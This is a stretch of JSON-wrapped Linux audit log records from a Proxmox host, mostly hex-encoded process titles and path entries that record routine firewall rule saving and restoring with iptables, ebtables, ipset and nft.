{"@timestamp":1781965693986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.986:66692): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PATH msg=audit(1781965675.815:66637): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965693986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.986:66691): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PATH msg=audit(1781965675.815:66636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965693985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.985:66690): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PATH msg=audit(1781965675.815:66636): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.981:66689): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675814,"@rawstring":"node=pve type=PATH msg=audit(1781965675.814:66635): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.981:66688): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675808,"@rawstring":"node=pve type=PATH msg=audit(1781965675.808:66634): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965693.981:66687): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675808,"@rawstring":"node=pve type=PATH msg=audit(1781965675.808:66634): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.971:66686): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675808,"@rawstring":"node=pve type=PATH msg=audit(1781965675.808:66634): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.971:66685): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675799,"@rawstring":"node=pve type=PATH msg=audit(1781965675.799:66633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.971:66684): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675799,"@rawstring":"node=pve type=PATH msg=audit(1781965675.799:66633): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.958:66683): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675789,"@rawstring":"node=pve type=PATH msg=audit(1781965675.789:66632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.958:66682): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675789,"@rawstring":"node=pve type=PATH msg=audit(1781965675.789:66632): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965688.958:66681): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675780,"@rawstring":"node=pve type=PATH msg=audit(1781965675.780:66631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965686005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965686.005:66680): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965675780,"@rawstring":"node=pve type=PATH msg=audit(1781965675.780:66631): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965686.000:66679): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965675770,"@rawstring":"node=pve type=PATH msg=audit(1781965675.770:66630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965686.000:66678): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675770,"@rawstring":"node=pve type=PATH msg=audit(1781965675.770:66630): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965686.000:66677): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675762,"@rawstring":"node=pve type=PATH msg=audit(1781965675.762:66628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.992:66676): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675762,"@rawstring":"node=pve type=PATH msg=audit(1781965675.762:66628): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.984:66675): proctitle=\"ip6tables-save\""} {"@timestamp":1781965675755,"@rawstring":"node=pve type=PATH msg=audit(1781965675.755:66627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.972:66674): proctitle=\"iptables-save\""} {"@timestamp":1781965675755,"@rawstring":"node=pve type=PATH msg=audit(1781965675.755:66627): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.964:66673): proctitle=\"ip6tables-save\""} {"@timestamp":1781965675749,"@rawstring":"node=pve type=PATH msg=audit(1781965675.749:66626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.955:66672): proctitle=\"iptables-save\""} {"@timestamp":1781965675749,"@rawstring":"node=pve type=PATH msg=audit(1781965675.749:66626): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.950:66671): proctitle=\"ebtables-restore\""} {"@timestamp":1781965675740,"@rawstring":"node=pve type=PATH msg=audit(1781965675.740:66625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.949:66670): proctitle=\"ebtables-restore\""} {"@timestamp":1781965675740,"@rawstring":"node=pve type=PATH msg=audit(1781965675.740:66625): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.941:66669): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965675733,"@rawstring":"node=pve type=PATH msg=audit(1781965675.733:66624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685935,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.935:66668): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965675733,"@rawstring":"node=pve type=PATH msg=audit(1781965675.733:66624): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.928:66667): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965675723,"@rawstring":"node=pve type=PATH msg=audit(1781965675.723:66623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.921:66666): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965675723,"@rawstring":"node=pve type=PATH msg=audit(1781965675.723:66623): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.915:66665): proctitle=697073657400726573746F7265"} {"@timestamp":1781965675716,"@rawstring":"node=pve type=PATH msg=audit(1781965675.716:66622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.905:66664): proctitle=\"ip6tables-save\""} {"@timestamp":1781965675716,"@rawstring":"node=pve type=PATH msg=audit(1781965675.716:66622): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.896:66663): proctitle=\"iptables-save\""} {"@timestamp":1781965675705,"@rawstring":"node=pve type=PATH msg=audit(1781965675.705:66621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.891:66662): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965675705,"@rawstring":"node=pve type=PATH msg=audit(1781965675.705:66621): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.887:66661): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965675699,"@rawstring":"node=pve type=PATH msg=audit(1781965675.699:66620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.887:66660): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675699,"@rawstring":"node=pve type=PATH msg=audit(1781965675.699:66620): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.887:66659): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675695,"@rawstring":"node=pve type=PATH msg=audit(1781965675.695:66619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.883:66658): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675695,"@rawstring":"node=pve type=PATH msg=audit(1781965675.695:66619): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.871:66657): proctitle=\"ip6tables-save\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=PATH msg=audit(1781965675.691:66618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.862:66656): proctitle=\"iptables-save\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=PATH msg=audit(1781965675.691:66618): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.854:66655): proctitle=69707365740073617665"} {"@timestamp":1781965675691,"@rawstring":"node=pve type=PATH msg=audit(1781965675.691:66617): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.844:66654): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965675686,"@rawstring":"node=pve type=PATH msg=audit(1781965675.686:66616): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965685832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965685.832:66653): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965675686,"@rawstring":"node=pve type=PATH msg=audit(1781965675.686:66616): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.165:59885): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675686,"@rawstring":"node=pve type=PATH msg=audit(1781965675.686:66616): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.165:59884): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675673,"@rawstring":"node=pve type=PATH msg=audit(1781965675.673:66615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.164:59883): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675673,"@rawstring":"node=pve type=PATH msg=audit(1781965675.673:66615): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.157:59882): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675658,"@rawstring":"node=pve type=PATH msg=audit(1781965675.658:66614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.157:59881): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675658,"@rawstring":"node=pve type=PATH msg=audit(1781965675.658:66614): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964168.157:59880): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965675650,"@rawstring":"node=pve type=PATH msg=audit(1781965675.650:66613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.092:59879): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965675650,"@rawstring":"node=pve type=PATH msg=audit(1781965675.650:66613): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.084:59878): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965675640,"@rawstring":"node=pve type=PATH msg=audit(1781965675.640:66612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.084:59877): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675640,"@rawstring":"node=pve type=PATH msg=audit(1781965675.640:66612): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.084:59876): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675631,"@rawstring":"node=pve type=PATH msg=audit(1781965675.631:66611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.080:59875): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965675631,"@rawstring":"node=pve type=PATH msg=audit(1781965675.631:66611): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.074:59874): proctitle=\"ip6tables-save\""} {"@timestamp":1781965674520,"@rawstring":"node=pve type=PATH msg=audit(1781965674.520:66610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.067:59873): proctitle=\"iptables-save\""} {"@timestamp":1781965674520,"@rawstring":"node=pve type=PATH msg=audit(1781965674.520:66610): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.060:59872): proctitle=\"ip6tables-save\""} {"@timestamp":1781965674495,"@rawstring":"node=pve type=PATH msg=audit(1781965674.495:66609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.053:59871): proctitle=\"iptables-save\""} {"@timestamp":1781965674495,"@rawstring":"node=pve type=PATH msg=audit(1781965674.495:66609): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.050:59870): proctitle=\"ebtables-restore\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PATH msg=audit(1781965673.914:66608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.048:59869): proctitle=\"ebtables-restore\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PATH msg=audit(1781965673.914:66608): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.044:59868): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PATH msg=audit(1781965673.914:66607): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.039:59867): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PATH msg=audit(1781965673.914:66606): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.033:59866): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965673906,"@rawstring":"node=pve type=PATH msg=audit(1781965673.906:66605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.028:59865): 